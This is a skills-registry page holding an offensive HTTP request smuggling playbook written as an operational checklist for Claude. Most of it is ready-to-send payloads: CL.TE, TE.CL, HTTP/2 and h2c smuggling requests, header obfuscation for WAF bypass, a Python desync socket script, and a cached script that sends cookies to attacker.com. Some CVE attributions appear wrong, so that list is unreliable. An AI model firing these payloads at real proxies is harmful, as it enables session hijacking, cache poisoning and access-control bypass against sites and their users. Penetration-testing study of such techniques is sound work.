[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6EE4Z6BNQ8H6PDFB0WPEKWS":3,"skill-same:01M6EE4Z6BNQ8H6PDFB0WPEKWS":77},{"skillNo":4,"name":5,"nameZh":6,"description":6,"descriptionZh":6,"repositoryFullName":7,"ownerLogin":8,"ownerAvatarUrl":9,"ownerAccountNo":10,"ownerDisplayName":11,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":15,"categories":16,"keywords":25,"publishedAt":28,"linkOnly":29,"markdownContent":30,"markdownBody":30,"frontMatter":31,"refName":32,"commitSha":33,"skillDirectory":34,"forksCount":35,"repositoryHtmlUrl":36,"repositoryHomepageUrl":37,"ownerHtmlUrl":38,"ownerBlogUrl":6,"ownerDescription":39,"updatedAt":40,"install":41,"resources":54},"01M6EE4Z6BNQ8H6PDFB0WPEKWS","offensive-request-smuggling",null,"ComeOnOliver\u002Fskillshub","ComeOnOliver","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F43215937?v=4","01M6E5JNFECJAAVFE0W7SMWWD2","Haoran Shu","01M6E5JNNDQS7AJZDYFQ8TPZCK",67,"MIT","https:\u002F\u002Fgithub.com\u002FComeOnOliver\u002Fskillshub\u002Fblob\u002Fmain\u002Fskills\u002FSnailSploit\u002FClaude-Red\u002Foffensive-request-smuggling\u002FSKILL.md",[17,22],{"categoryNo":18,"categoryName":19,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",{"categoryNo":23,"categoryName":24,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000023","Skill与智能体开发",[26,27],"offensive","offensive request smuggling","2026-11-10 10:12:30",false,"# SKILL: HTTP Request Smuggling\n\n## Metadata\n- **Skill Name**: request-smuggling\n- **Folder**: offensive-request-smuggling\n- **Source**: https:\u002F\u002Fgithub.com\u002FSnailSploit\u002Foffensive-checklist\u002Fblob\u002Fmain\u002Freq-smuggle.md\n\n## Description\nHTTP request smuggling checklist: CL.TE, TE.CL, TE.TE variants, detection with timing and differential responses, WAF bypass, cache poisoning, credential hijacking, and request smuggling via HTTP\u002F2. Use when testing reverse proxy\u002Fload balancer configurations.\n\n## Trigger Phrases\nUse this skill when the conversation involves any of:\n`request smuggling, HTTP smuggling, CL.TE, TE.CL, TE.TE, HTTP\u002F2 smuggling, cache poisoning, WAF bypass, differential response, smuggling detection, proxy desync`\n\n## Instructions for Claude\n\nWhen this skill is active:\n1. Load and apply the full methodology below as your operational checklist\n2. Follow steps in order unless the user specifies otherwise\n3. For each technique, consider applicability to the current target\u002Fcontext\n4. Track which checklist items have been completed\n5. Suggest next steps based on findings\n\n---\n\n## Full Methodology\n\n# HTTP Request Smuggling\n\n## Mechanisms\n\nHTTP Request Smuggling is a vulnerability that occurs when front-end and back-end servers interpret HTTP requests differently, leading to a desynchronization in the HTTP request processing chain. This desynchronization allows attackers to \"smuggle\" requests to the back-end server, potentially bypassing security controls or manipulating how other users' requests are processed.\n\n```mermaid\ngraph TD\n    A[Client] -->|HTTP Request| B[Front-end Server]\n    B -->|Interpreted Request| C[Back-end Server]\n    B -->|Different Interpretation| D[Desynchronization]\n    D -->|Smuggled Request| C\n    D -->|Security Bypass| E[Unauthorized Access]\n    D -->|Queue Poisoning| F[Response Hijacking]\n```\n\nRequest smuggling vulnerabilities arise from inconsistencies in how servers parse and interpret HTTP messages, particularly regarding:\n\n- **Transfer-Encoding (TE) header**: Indicates chunked encoding\n- **Content-Length (CL) header**: Specifies the length of the message body\n- **Header parsing**: Different handling of whitespace, newlines, and malformed headers\n\nCommon desynchronization scenarios include:\n\n- **CL.TE**: Front-end uses Content-Length, back-end uses Transfer-Encoding\n- **TE.CL**: Front-end uses Transfer-Encoding, back-end uses Content-Length\n- **TE.TE**: Both servers use Transfer-Encoding but handle edge cases differently\n\nHTTP\u002F2\u002F3 specific desync variants:\n\n- H2.CL \u002F H2.TE: Conflicts between HTTP\u002F2 body length signaling and HTTP\u002F1 backends during downgrade.\n- H2C Upgrade: Cleartext HTTP\u002F2 (h2c) upgrade paths mishandled by intermediaries.\n- Authority\u002FHost Confusion: `:authority` vs `Host` normalization inconsistencies under CDNs.\n\n```mermaid\ngraph LR\n    subgraph \"CL.TE Attack\"\n        A1[Client] -->|\"POST \u002F HTTP\u002F1.1\u003Cbr>Content-Length: 30\u003Cbr>Transfer-Encoding: chunked\u003Cbr>\u003Cbr>0\u003Cbr>\u003Cbr>GET \u002Fadmin HTTP\u002F1.1\u003Cbr>X-Ignore:\"| B1[Front-end]\n        B1 -->|\"Uses Content-Length: 30\u003Cbr>Sees one complete request\"| C1[Back-end]\n        C1 -->|\"Uses Transfer-Encoding\u003Cbr>Sees two requests:\u003Cbr>1. POST \u002F\u003Cbr>2. GET \u002Fadmin\"| D1[Smuggled Request Processed]\n    end\n```\n\nModern variations include:\n\n- **H2.HTTP\u002F1**: HTTP\u002F2 to HTTP\u002F1 downgrades causing inconsistencies\n- **HTTP\u002F1.H2**: HTTP\u002F1 to HTTP\u002F2 transitions with different interpretations\n- **Timeout-based**: Exploiting time differences in connection handling\n- **Method-based**: Different interpretations of HTTP methods\n- **Header-based**: Inconsistent header parsing between servers\n\n## Hunt\n\n### Identifying Vulnerable Applications\n\n#### Architecture Reconnaissance\n\n- Look for multi-server architectures with proxies, load balancers, or CDNs\n- Identify systems using Nginx, HAProxy, Varnish, or Amazon ALB\u002FCloudFront\n- Check for HTTP\u002F2 support with HTTP\u002F1 backend compatibility\n\n#### Basic Detection Tests\n\n1. CL.TE Vulnerability Detection (Time Delay Example):\n\n   ```http\n   POST \u002F HTTP\u002F1.1\n   Host: vulnerable-website.com\n   Transfer-Encoding: chunked\n   Content-Length: 4\n\n   1\n   A\n   X\n   ```\n\n   Send this request, then send a normal request. If the normal request experiences a time delay, CL.TE might be present.\n\n2. TE.CL Vulnerability Detection (Time Delay Example):\n\n   ```http\n   POST \u002F HTTP\u002F1.1\n   Host: vulnerable-website.com\n   Transfer-Encoding: chunked\n   Content-Length: 6\n\n   0\n\n   X\n   ```\n\n   Send this request, then send a normal request. If the normal request experiences a time delay, TE.CL might be present.\n\n3. CL.TE Confirmation (Example):\n\n   ```http\n   POST \u002F HTTP\u002F1.1\n   Host: your-lab-id.web-security-academy.net\n   Connection: keep-alive\n   Content-Type: application\u002Fx-www-form-urlencoded\n   Content-Length: 6\n   Transfer-Encoding: chunked\n\n   0\n\n   G\n   ```\n\n   Send twice. The second response should indicate an unrecognized method like `GPOST`.\n\n4. TE.CL Confirmation (Example):\n   (Ensure Burp's \"Update Content-Length\" is unchecked)\n\n   ```http\n   POST \u002F HTTP\u002F1.1\n   Host: your-lab-id.web-security-academy.net\n   Content-Type: application\u002Fx-www-form-urlencoded\n   Content-length: 4\n   Transfer-Encoding: chunked\n\n   5c\n   GPOST \u002F HTTP\u002F1.1\n   Content-Type: application\u002Fx-www-form-urlencoded\n   Content-Length: 15\n\n   x=1\n   0\n\n\n   ```\n\n   Send twice. The second request should show the effect of the smuggled `GPOST`.\n\n5. TE.TE Desync Detection (Obfuscation Example):\n   (Ensure Burp's \"Update Content-Length\" is unchecked)\n\n   ```http\n   POST \u002F HTTP\u002F1.1\n   Host: your-lab-id.web-security-academy.net\n   Content-Type: application\u002Fx-www-form-urlencoded\n   Content-length: 4\n   Transfer-Encoding: chunked\n   Transfer-encoding: cow\n\n   5c\n   GPOST \u002F HTTP\u002F1.1\n   Content-Type: application\u002Fx-www-form-urlencoded\n   Content-Length: 15\n\n   x=1\n   0\n\n\n   ```\n\n   Send twice. The second request should show the effect of the smuggled `GPOST`, confirming that one server ignored the obfuscated `Transfer-encoding: cow` header.\n\n#### Advanced Detection Techniques\n\n- **Differential Testing**: Observe response timing differences\n- **Time Delays**: Add artificial delays between requests to detect queue interference\n- **Obfuscation Testing**: Try various obfuscation techniques:\n  ```http\n  Transfer-Encoding: xchunked\n  Transfer-Encoding: chunked\n  Transfer-Encoding : chunked\n  Transfer-Encoding: chunked\n  Transfer-Encoding: identity, chunked\n  ```\n\n  - HTTP\u002F2 Specific: Duplicate `content-length` headers, mixed\u002Fmalformed pseudo-headers, abnormal stream resets, header\u002Fcontinuation frame splitting.\n\n### Testing Methodology\n\n```mermaid\nflowchart TD\n    A[Initial Assessment] --> B{Vulnerability Detected?}\n    B -->|Yes| C[Confirmation Testing]\n    B -->|No| D[Try Advanced Techniques]\n    D --> B\n    C --> E{Confirmed?}\n    E -->|Yes| F[Targeted Testing]\n    E -->|No| D\n    F --> G[Documentation & Exploitation]\n\n    subgraph \"Initial Assessment\"\n        A1[Test CL.TE Payloads]\n        A2[Test TE.CL Payloads]\n        A3[Check Header Obfuscation]\n    end\n\n    subgraph \"Confirmation Testing\"\n        C1[Send Request with Clear Response]\n        C2[Test Queue Poisoning]\n        C3[Check Status Code Anomalies]\n    end\n\n    subgraph \"Targeted Testing\"\n        F1[Test HTTP\u002F2 Downgrade]\n        F2[Check Header Oversizing]\n        F3[Test Method Handling]\n    end\n```\n\n1. **Initial Assessment**:\n   - Test standard CL.TE and TE.CL payloads\n   - Try header obfuscation techniques\n   - Check for timing inconsistencies\n\n2. **Confirmation Testing**:\n   - Send a smuggled request that should trigger a distinct response\n   - Test for request queue poisoning by affecting subsequent requests\n   - Look for response status code anomalies\n\n3. **Targeted Testing**:\n   - Test HTTP\u002F2 downgrade scenarios\n   - Check for header oversizing vulnerabilities\n   - Test method-specific handling differences\n\n## Vulnerabilities\n\n### Common HTTP Request Smuggling Scenarios\n\n```mermaid\nmindmap\n  root((HTTP Request Smuggling))\n    Security Control Bypass\n      WAF Bypass\n      Access Control Evasion\n      Authentication Bypass\n    Request\u002FResponse Queue Poisoning\n      Request Hijacking\n      Response Queue Poisoning\n      Cache Poisoning\n    Server-Specific Vulnerabilities\n      Nginx-Specific\n      Apache-Specific\n      NodeJS-Specific\n    Impact\n      Session Hijacking\n      Data Exposure\n      XSS Injection\n      Cache Poisoning\n      Network Scanning\n      Account Takeover\n```\n\n#### Security Control Bypass\n\n- Web Application Firewall (WAF) Bypass: Smuggling malicious content past WAF inspection\n- Access Control Evasion: Accessing restricted resources by smuggling authorized-looking requests\n- Authentication Bypass: Manipulating authentication flows through request smuggling\n\n#### Request\u002FResponse Queue Poisoning\n\n- Request Hijacking: Capturing parts of another user's request including cookies or authentication tokens\n- Response Queue Poisoning: Causing wrong responses to be sent to users\n- Cache Poisoning: Injecting malicious content into caches serving multiple users\n\n#### Server-Specific Vulnerabilities\n\n- Nginx-Specific: Inconsistent `Transfer-Encoding` handling with underscore prefixes\n- Apache-Specific: Different chunked encoding parser behavior\n- NodeJS-Specific: Unique header parsing behavior with multiple headers\n\n### Impact Examples\n\n- Session Hijacking: Stealing user session cookies through request smuggling\n- Sensitive Data Exposure: Smuggling requests to internal resources\n- Cross-Site Scripting (XSS): Injecting malicious scripts into responses sent to other users\n- HTTP Cache Poisoning: Poisoning cached responses viewed by multiple users\n- Internal Network Scanning: Using request smuggling for SSRF-like network scanning\n- Account Takeover: Smuggling requests to change user credentials\n\n## Methodologies\n\n### Tools\n\n- Burp Suite Professional: HTTP Request Smuggler extension ([_PortSwigger BApp Store_](https:\u002F\u002Fportswigger.net\u002Fbappstore\u002Faaaa60ef945341e8a450217a54a11646))\n- smuggler.py: `python3 smuggler.py -u \u003CURL>` ([_defparam\u002Fsmuggler_](https:\u002F\u002Fgithub.com\u002Fdefparam\u002Fsmuggler), [_anshumanpattnaik\u002Fhttp-request-smuggling_](https:\u002F\u002Fgithub.com\u002Fanshumanpattnaik\u002Fhttp-request-smuggling))\n- tiscripts: Collection of scripts including smuggling checks ([_defparam\u002Ftiscripts_](https:\u002F\u002Fgithub.com\u002Fdefparam\u002Ftiscripts))\n- h2csmuggler: `go run .\u002Fcmd\u002Fh2csmuggler check https:\u002F\u002Ftarget.com\u002F http:\u002F\u002Flocalhost` ([_assetnote\u002Fh2csmuggler_](https:\u002F\u002Fgithub.com\u002Fassetnote\u002Fh2csmuggler), [_BishopFox\u002Fh2csmuggler_](https:\u002F\u002Fgithub.com\u002FBishopFox\u002Fh2csmuggler) for HTTP\u002F2)\n- Turbo Intruder: For advanced\u002Fcustomized request smuggling techniques in Burp Suite.\n- Param Miner: For detecting hidden attack surfaces which might be vulnerable.\n- h2spec \u002F h3spec: Conformance testing for HTTP\u002F2 and HTTP\u002F3 implementations.\n\n### Testing Techniques\n\n#### Basic Request Smuggling Test Patterns\n\n1. **CL.TE Pattern**:\n\n   ```http\n   POST \u002F HTTP\u002F1.1\n   Host: vulnerable-website.com\n   Content-Length: 39\n   Transfer-Encoding: chunked\n\n   0\n\n   GET \u002Fadmin HTTP\u002F1.1\n   Host: vulnerable-website.com\n   ```\n\n2. **TE.CL Pattern**:\n\n   ```http\n   POST \u002F HTTP\u002F1.1\n   Host: vulnerable-website.com\n   Content-Length: 4\n   Transfer-Encoding: chunked\n\n   5c\n   GPOST \u002F HTTP\u002F1.1\n   Content-Type: application\u002Fx-www-form-urlencoded\n   Content-Length: 15\n\n   x=1\n   0\n\n   ```\n\n3. **HTTP\u002F2 Downgrade Pattern**:\n\n   ```http\n   :method: POST\n   :path: \u002F\n   :authority: vulnerable-website.com\n   content-length: 0\n   content-length: 44\n\n   GET \u002Fadmin HTTP\u002F1.1\n   Host: vulnerable-website.com\n   ```\n\n4. **H2C Upgrade Smuggling Pattern**:\n\n```\nGET \u002F HTTP\u002F1.1\nHost: vulnerable-website.com\nConnection: Upgrade, HTTP2-Settings\nUpgrade: h2c\nHTTP2-Settings: AAMAAABkAAQAAP__\n\nGET \u002Fadmin HTTP\u002F1.1\nHost: vulnerable-website.com\n```\n\n#### Advanced Exploitation Techniques\n\n1. **Request Hijacking**:\n\n   ```http\n   POST \u002F HTTP\u002F1.1\n   Host: vulnerable-website.com\n   Content-Length: 50\n   Transfer-Encoding: chunked\n\n   0\n\n   GET \u002F HTTP\u002F1.1\n   Host: vulnerable-website.com\n   ```\n\n2. **Response Queue Poisoning**:\n\n   ```http\n   POST \u002F HTTP\u002F1.1\n   Host: vulnerable-website.com\n   Content-Length: 146\n   Transfer-Encoding: chunked\n\n   0\n\n   HTTP\u002F1.1 200 OK\n   Content-Type: text\u002Fhtml\n   Content-Length: 30\n\n   \u003Chtml>Fake Response\u003C\u002Fhtml>\n   ```\n\n3. **WebSocket Hijacking**:\n\n   ```http\n   POST \u002F HTTP\u002F1.1\n   Host: vulnerable-website.com\n   Content-Length: 65\n   Transfer-Encoding: chunked\n\n   0\n\n   GET \u002Fsocket HTTP\u002F1.1\n   Upgrade: websocket\n   Connection: Upgrade\n   ```\n\n### Defense Testing\n\n1. **Testing Patch Effectiveness**:\n   - Retest with various obfuscation techniques after patches\n   - Check for incomplete fixes or workarounds\n\n2. **Header Variations**:\n\n   ```\n   Transfer-Encoding: chunked\n   transfer-encoding: chunked\n   Transfer-Encoding:chunked\n   Transfer-Encoding: identity,chunked\n   Transfer-Encoding: identity, chunked\n   ```\n\n3. **Chunk Size Manipulation**:\n\n   ```\n   1\\r\\n\n   A\\r\\n\n   0\\r\\n\n   \\r\\n\n   ```\n\n4. **HTTP\u002F2 Strictness Checks**:\n\n- Ensure single, consistent body length signaling; reject duplicate\u002Fmalformed pseudo-headers.\n- Disable or tightly control h2c upgrades at edges.\n\n### Real-World Exploitation Workflow\n\n```mermaid\nsequenceDiagram\n    participant A as Attacker\n    participant F as Front-end Server\n    participant B as Back-end Server\n    participant V as Victim\n\n    A->>F: 1. Send Smuggling Payload\n    F->>B: 2. First Request (Front-end interpretation)\n    Note over F,B: Desynchronization Occurs\n    A->>F: 3. Send Normal Request\n    F->>B: 4. Second Request gets appended to smuggled content\n    V->>F: 5. Victim sends innocent request\n    F->>B: 6. Victim's request gets processed with attacker's content\n    B->>F: 7. Modified response based on smuggled content\n    F->>V: 8. Victim receives unexpected\u002Fmalicious response\n```\n\n1. **Identify Desync Vulnerability**:\n   - Test CL.TE, TE.CL, TE.TE patterns\n   - Confirm with time-delay observations\n\n2. **Establish Attack Vector**:\n   - Determine the most reliable desync method\n   - Identify the best obfuscation technique for the target\n\n3. **Craft Exploitation Payload**:\n   - Create a request that smuggles another request\n   - Target sensitive functionality or information disclosure\n\n4. **Execute and Validate**:\n   - Send the smuggled request\n   - Observe the effects on subsequent responses\n\n5. **Document Impact**:\n   - Demonstrate real security implications\n   - Show how the vulnerability could affect users\n\n### Modern Desync Variants\n\n#### HTTP\u002F3 Desync\n\nHTTP\u002F3 uses QUIC transport which introduces new desync opportunities when proxies translate between HTTP\u002F3 and HTTP\u002F1.1:\n\n**HTTP\u002F3 to HTTP\u002F1.1 Translation:**\n\n```\n# HTTP\u002F3 request with duplicate headers\n:method: POST\n:path: \u002Fapi\u002Fendpoint\n:authority: target.com\ncontent-length: 10\ncontent-length: 50\n\n# Backend may use different content-length value\n```\n\n**Testing HTTP\u002F3:**\n\n```bash\n# Using curl with HTTP\u002F3\ncurl --http3 https:\u002F\u002Ftarget.com\u002Fendpoint -v\n\n# Check Alt-Svc header indicating HTTP\u002F3 support\ncurl -I https:\u002F\u002Ftarget.com | grep -i alt-svc\n```\n\n**QUIC Stream Manipulation:**\n\n- Multiple streams in single connection may be processed inconsistently\n- Stream resets can leave partial data in backend queues\n- QPACK header compression differences between implementations\n\n#### Client-Side Desync (CSD)\n\nClient-side desync exploits browser behavior to poison the browser's own connection pool, affecting subsequent requests from the same client.\n\n**Mechanism:**\n\n1. Attacker crafts response that browser caches\n2. Response includes smuggled request\n3. Next victim request gets poisoned response\n\n**Example CSD Attack:**\n\n```http\nPOST \u002F HTTP\u002F1.1\nHost: vulnerable.com\nContent-Length: 150\nTransfer-Encoding: chunked\n\n0\n\nGET \u002Fadmin HTTP\u002F1.1\nHost: vulnerable.com\nContent-Length: 10\n\nx=\nGET \u002Fstatic\u002Finnocent.js HTTP\u002F1.1\nHost: vulnerable.com\n```\n\n**Browser receives:**\n\n```http\nHTTP\u002F1.1 200 OK\nContent-Length: 100\n\n\u003Cscript>\n  \u002F\u002F Malicious JavaScript injected into cached response\n  document.location='http:\u002F\u002Fattacker.com\u002Fsteal?cookie='+document.cookie;\n\u003C\u002Fscript>\n```\n\n**Testing for CSD:**\n\n1. Send smuggling payload\n2. Open same site in new tab\n3. Check if subsequent request receives smuggled response\n4. Look for `Age` or `X-Cache` headers indicating cache hit\n\n**High-Value Targets:**\n\n- JavaScript files (cached and executed)\n- CSS files (for exfiltration via background-image)\n- JSON API responses (manipulate application state)\n\n#### WebSocket Desync\n\nWebSocket upgrade process can be vulnerable to request smuggling:\n\n**WebSocket Upgrade Smuggling:**\n\n```http\nPOST \u002F HTTP\u002F1.1\nHost: vulnerable.com\nContent-Length: 200\nTransfer-Encoding: chunked\n\n0\n\nGET \u002Fchat HTTP\u002F1.1\nHost: vulnerable.com\nUpgrade: websocket\nConnection: Upgrade\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\nSec-WebSocket-Version: 13\nSec-WebSocket-Protocol: attacker-injection\n\n```\n\n**Smuggling After WebSocket Establishment:**\n\n```http\n# Send via established WebSocket connection\nGET \u002Fadmin HTTP\u002F1.1\nHost: vulnerable.com\nCookie: admin_session=stolen_token\n```\n\n**WebSocket Frame Manipulation:**\n\n- Inject malicious frames during upgrade\n- Exploit frame fragmentation handling differences\n- Target WebSocket proxies (nginx, HAProxy) that may parse differently\n\n**Testing Steps:**\n\n1. Initiate WebSocket upgrade with smuggling payload\n2. Monitor if backend processes smuggled HTTP request\n3. Check WebSocket frames for injected content\n4. Test multiple simultaneous upgrade requests\n\n#### Request Tunneling via CONNECT\n\nCONNECT method can be abused for request smuggling:\n\n```http\nCONNECT internal.service:80 HTTP\u002F1.1\nHost: vulnerable-proxy.com\n\nGET \u002Fadmin HTTP\u002F1.1\nHost: internal.service\nAuthorization: Bearer stolen_token\n```\n\n**Testing:**\n\n1. Send CONNECT request to proxy\n2. Include smuggled request in CONNECT body\n3. Check if proxy forwards to internal service\n\n#### Pause-Based Desync\n\nExploiting TCP flow control and timing:\n\n```python\nimport socket\nimport time\n\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.connect(('vulnerable.com', 80))\n\n# Send headers slowly\ns.send(b'POST \u002F HTTP\u002F1.1\\r\\n')\ntime.sleep(2)\ns.send(b'Host: vulnerable.com\\r\\n')\ntime.sleep(2)\ns.send(b'Content-Length: 50\\r\\n')\ns.send(b'Transfer-Encoding: chunked\\r\\n\\r\\n')\n\n# Send smuggled request\ns.send(b'0\\r\\n\\r\\nGET \u002Fadmin HTTP\u002F1.1\\r\\n')\ns.send(b'Host: vulnerable.com\\r\\n\\r\\n')\n```\n\n#### Header Oversizing\n\nExploit differences in maximum header sizes:\n\n```http\nPOST \u002F HTTP\u002F1.1\nHost: vulnerable.com\nX-Padding: AAAA[... 8KB of data ...]\nContent-Length: 100\nTransfer-Encoding: chunked\n\n0\n\nGET \u002Fadmin HTTP\u002F1.1\n```\n\nIf front-end accepts larger headers than backend, backend may miss headers after cutoff point.\n\n### Detection Bypass Techniques (Advanced)\n\n**Header Name Obfuscation:**\n\n```http\nTransfer-Encoding : chunked          # Space before colon\nTransfer-Encoding\\t: chunked         # Tab\nTransfer\\rEncoding: chunked          # Carriage return\nTransfer\\x00Encoding: chunked        # Null byte (rare)\nTransfer\\x0bEncoding: chunked        # Vertical tab\n```\n\n**Multiple Content-Length Variations:**\n\n```http\nContent-Length: 10\nContent-Length: 20\nContent-length: 30           # Case variation\nCONTENT-LENGTH: 40           # Uppercase\nContent-Length : 50          # Space before colon\n```\n\n**HTTP\u002F2 Pseudo-Header Smuggling:**\n\n```http\n:method: POST\n:path: \u002F\n:authority: target.com\n:method: GET                  # Duplicate pseudo-header\ncontent-length: 0\ncontent-length: 50            # Duplicate content-length\n```\n\n**Transfer-Encoding Value Pollution:**\n\n```http\nTransfer-Encoding: chunked, identity\nTransfer-Encoding: identity, chunked\nTransfer-Encoding: chunked;q=1\nTransfer-Encoding: chunked\\x20\\x20\nTransfer-Encoding: chunked\\x0d\\x0a\n```\n\n### Real-World CVEs\n\n1. **CVE-2023-45853 - MiniZinc HTTP Parser**:\n   - Request smuggling via Transfer-Encoding handling\n   - Impact: RCE via smuggled requests\n\n2. **CVE-2023-38545 - curl SOCKS5 Heap Overflow**:\n   - Related to connection reuse that could enable smuggling\n   - Impact: RCE in certain configurations\n\n3. **CVE-2022-31629 - PHP HTTP Response Splitting**:\n   - Response splitting enabling smuggling attacks\n   - Impact: XSS and cache poisoning\n\n4. **CVE-2021-41773 - Apache HTTP Server Path Traversal**:\n   - Could be chained with request smuggling\n   - Impact: RCE via CGI script access\n\n5. **CVE-2020-11724 - Varnish Cache HTTP\u002F2 Desync**:\n   - HTTP\u002F2 to HTTP\u002F1.1 downgrade desync\n   - Impact: Cache poisoning and request smuggling\n\n## Remediation Recommendations\n\n- **Consistent Request Parsing**: Ensure consistent parsing rules across all servers\n- **HTTP\u002F2 Isolation**: Avoid translating between HTTP\u002F2 and HTTP\u002F1.1 where possible\n- **Header Validation**: Implement strict header validation\n- **Connection Resets**: Reset connections after each request when possible\n- **WAF Rules**: Configure WAF to detect request smuggling attempts\n- **Content-Length Validation**: Ensure Content-Length matches actual content\n- **Chunked Encoding Validation**: Implement proper chunked encoding parsing\n- **Regular Security Testing**: Perform request smuggling-specific security tests\n- **Unified Parser**: Use a single RFC-compliant parsing library across front\u002Fback tiers; normalize `Host`\u002F`:authority`\n- **Gateway Hardening**: Strip hop-by-hop\u002Fduplicate headers; disable TE other than `chunked`; enforce single message framing signal\n- **HTTP\u002F3 Controls**: Ensure QUIC implementation correctly handles stream management and header compression\n- **WebSocket Security**: Validate WebSocket upgrade requests; sanitize Sec-WebSocket-\\* headers; limit concurrent upgrades\n- **Client-Side Desync Prevention**: Set `Connection: close` on sensitive responses; use HTTP\u002F2 exclusively; implement strict cache controls\n- **Monitoring**: Log anomalous header patterns; alert on multiple Content-Length or Transfer-Encoding headers; track connection reuse metrics\n",{},"main","def8531e65114c0fca8fb8551c1871ee0eed705c","skills\u002FSnailSploit\u002FClaude-Red\u002Foffensive-request-smuggling",24,"https:\u002F\u002Fgithub.com\u002FComeOnOliver\u002Fskillshub","https:\u002F\u002Fskillshub.wtf","https:\u002F\u002Fgithub.com\u002FComeOnOliver","AI & Blockchain Engineer\r\n","2026-06-24 22:07:19",{"source":7,"skillName":5,"commands":42,"prompt":52,"zipAvailable":53},[43,46,49],{"tool":44,"command":45},"npx","npx skills add ComeOnOliver\u002Fskillshub --skill offensive-request-smuggling",{"tool":47,"command":48},"bunx","bunx skills add ComeOnOliver\u002Fskillshub --skill offensive-request-smuggling",{"tool":50,"command":51},"pnpm","pnpm dlx skills add ComeOnOliver\u002Fskillshub --skill offensive-request-smuggling","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FComeOnOliver\u002Fskillshub\u002Fblob\u002Fmain\u002Fskills\u002FSnailSploit\u002FClaude-Red\u002Foffensive-request-smuggling\u002FSKILL.md",true,[55,61,67,71],{"path":56,"resourceType":57,"resourceTypeDesc":58,"sizeBytes":59,"sourceHtmlUrl":60},"agents\u002Fopenai.yaml","REFERENCE","参考文档",128,"https:\u002F\u002Fgithub.com\u002Fpattanation\u002FNorvik\u002Fblob\u002Fclaude\u002Finstall-gsd-build-foQdV\u002F.agents\u002Fskills\u002Fsarif-parsing\u002Fagents\u002Fopenai.yaml",{"path":62,"resourceType":63,"resourceTypeDesc":64,"sizeBytes":65,"sourceHtmlUrl":66},"assets\u002Ftrail-of-bits-mark.svg","ASSET","资产文件",3084,"https:\u002F\u002Fgithub.com\u002Fpattanation\u002FNorvik\u002Fblob\u002Fclaude\u002Finstall-gsd-build-foQdV\u002F.agents\u002Fskills\u002Fsarif-parsing\u002Fassets\u002Ftrail-of-bits-mark.svg",{"path":68,"resourceType":57,"resourceTypeDesc":58,"sizeBytes":69,"sourceHtmlUrl":70},"resources\u002Fjq-queries.md",5267,"https:\u002F\u002Fgithub.com\u002Fpattanation\u002FNorvik\u002Fblob\u002Fclaude\u002Finstall-gsd-build-foQdV\u002F.agents\u002Fskills\u002Fsarif-parsing\u002Fresources\u002Fjq-queries.md",{"path":72,"resourceType":73,"resourceTypeDesc":74,"sizeBytes":75,"sourceHtmlUrl":76},"resources\u002Fsarif_helpers.py","SCRIPT","脚本",10183,"https:\u002F\u002Fgithub.com\u002Fpattanation\u002FNorvik\u002Fblob\u002Fclaude\u002Finstall-gsd-build-foQdV\u002F.agents\u002Fskills\u002Fsarif-parsing\u002Fresources\u002Fsarif_helpers.py",[78,88,98,107,113,120],{"skillNo":79,"name":80,"nameZh":6,"description":6,"descriptionZh":6,"repositoryFullName":7,"ownerLogin":8,"ownerAvatarUrl":9,"ownerAccountNo":10,"ownerDisplayName":11,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":81,"categories":82,"keywords":84,"publishedAt":28},"01M6FKJN13GMG4KY57J3QD8GY5","model-hierarchy-skill","https:\u002F\u002Fgithub.com\u002FComeOnOliver\u002Fskillshub\u002Fblob\u002Fmain\u002Fskills\u002Fzscole\u002Fmodel-hierarchy-skill\u002Fmodel-hierarchy-skill\u002FSKILL.md",[83],{"categoryNo":23,"categoryName":24,"taxonomyType":20,"taxonomyTypeDesc":21},[85,86,87],"model","model hierarchy","model hierarchy skill",{"skillNo":89,"name":90,"nameZh":6,"description":6,"descriptionZh":6,"repositoryFullName":7,"ownerLogin":8,"ownerAvatarUrl":9,"ownerAccountNo":10,"ownerDisplayName":11,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":91,"categories":92,"keywords":94,"publishedAt":28},"01M6FKJJJ6GCAMR4PPPRD12M5X","zoom-mcp","https:\u002F\u002Fgithub.com\u002FComeOnOliver\u002Fskillshub\u002Fblob\u002Fmain\u002Fskills\u002Fzoom\u002Fskills\u002Fzoom-mcp\u002FSKILL.md",[93],{"categoryNo":23,"categoryName":24,"taxonomyType":20,"taxonomyTypeDesc":21},[95,96,97],"MCP","zoom","zoom mcp",{"skillNo":99,"name":100,"nameZh":6,"description":6,"descriptionZh":6,"repositoryFullName":7,"ownerLogin":8,"ownerAvatarUrl":9,"ownerAccountNo":10,"ownerDisplayName":11,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":101,"categories":102,"keywords":103,"publishedAt":28},"01M6FKJE3KYT3KPEZMEEHYKA6K","zoom-apps-sdk","https:\u002F\u002Fgithub.com\u002FComeOnOliver\u002Fskillshub\u002Fblob\u002Fmain\u002Fskills\u002Fzoom\u002Fskills\u002Fzoom-apps-sdk\u002FSKILL.md",[],[104,105,106,96],"sdk","zoom apps 